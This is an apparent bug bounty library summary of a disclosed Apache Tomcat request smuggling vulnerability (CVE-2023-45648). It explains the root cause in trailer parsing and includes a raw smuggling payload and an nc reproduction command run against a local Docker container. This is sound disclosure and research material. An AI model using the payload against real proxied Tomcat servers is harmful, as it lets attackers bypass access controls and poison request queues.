# Request Smuggling in Apache Tomcat (Important, CVE-2023-45648)

Tomcat mis-parses trailer headers lacking a colon, treating a single chunked request as two, enabling HTTP request smuggling behind a reverse proxy.

- Payout: $4,660
- Severity: high
- Program: Internet Bug Bounty
- Found by (vendor credit): Keran Mu and Jianjun Chen from Tsinghua University and Zhongguancun Laboratory
- Found by: mukeran
- Disclosed: 2024-02-07
- CVE: CVE-2023-45648
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/2299692
- Library page: https://bugbountylibrary.com/r/h1%3A2299692
- Tags: area:oss domain:oss impact:integrity impact:internal-access kind:bounty platform:hackerone sev:high tech:java technique:parser-differential technique:source-review vuln:request-smuggling

**Target:** Apache Tomcat HTTP/1.1 trailer section parser
**Root cause:** Tomcat's trailer parser skips lines without a colon until it finds a valid key-value pair, so an invalid trailer line causes subsequent request bytes to be absorbed into the trailer section, desyncing request boundaries from front-end proxies.
**Steps:**
1. Deploy tomcat:10.1.13 on port 43022.
2. Send raw payload: `POST /benign_path HTTP/1.1` with `Transfer-Encoding: chunked`, chunk `5\r\n12345`, terminator `0`, then trailer line `Content: hello`, then invalid line `a` (no colon), then a second request with `Content-Length: 37` and body `GET /evil_path HTTP/1.1\r\nAny: any\r\nHost: b.com`.
3. Observe Tomcat access log shows both `POST /benign_path` and `GET /evil_path` as separate requests, while NGINX would treat lines 12-21 as one second request.
**How found:** Researcher examined Tomcat's trailer-section parsing and noticed it tolerates trailer lines without a colon by skipping until a valid key-value pair, hypothesizing this would absorb following request bytes and desync from other HTTP parsers.
**Exploitation:** When Tomcat sits behind a reverse proxy, the front-end and Tomcat disagree on request boundaries: the proxy forwards the smuggled `GET /evil_path` as a second request, allowing bypass of proxy-level security controls (auth, ACLs, routing) and request queue poisoning.
**Insight:** When auditing HTTP/1.1 parsers, test trailer sections with malformed lines (missing colon, bare tokens) — lenient skipping logic in trailer parsing is a common desync source even when chunk framing itself is strict.

## Proof of concept (copied exactly from the original report)

**Raw HTTP smuggling payload with malformed trailer**

```
POST /benign_path HTTP/1.1
Host: a.com
Connection: keep-alive
Transfer-Encoding: chunked

5
12345
0
Content: hello
a

POST /benign_path HTTP/1.1
Host: a.com
Connection: keep-alive
Content-Length: 37

GET /evil_path HTTP/1.1
Any: any
Host: b.com
```

**Reproduction command sending payload via nc**

```
docker run -d --name hrs_tomcat_11 -p 43022:8080 tomcat:10.1.13
echo -n 'POST /benign_path HTTP/1.1\r\nHost: a.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n5\r\n12345\r\n0\r\nContent: hello\r\na\r\n\r\nPOST /benign_path HTTP/1.1\r\nHost: a.com\r\nConnection: keep-alive\r\nContent-Length: 37\r\n\r\nGET /evil_path HTTP/1.1\r\nAny: any\r\nHost: b.com\r\n\r\n' | nc 127.0.0.1 43022
docker exec -it hrs_tomcat_11 /bin/sh -c "cat /usr/local/tomcat/logs/localhost*"
```

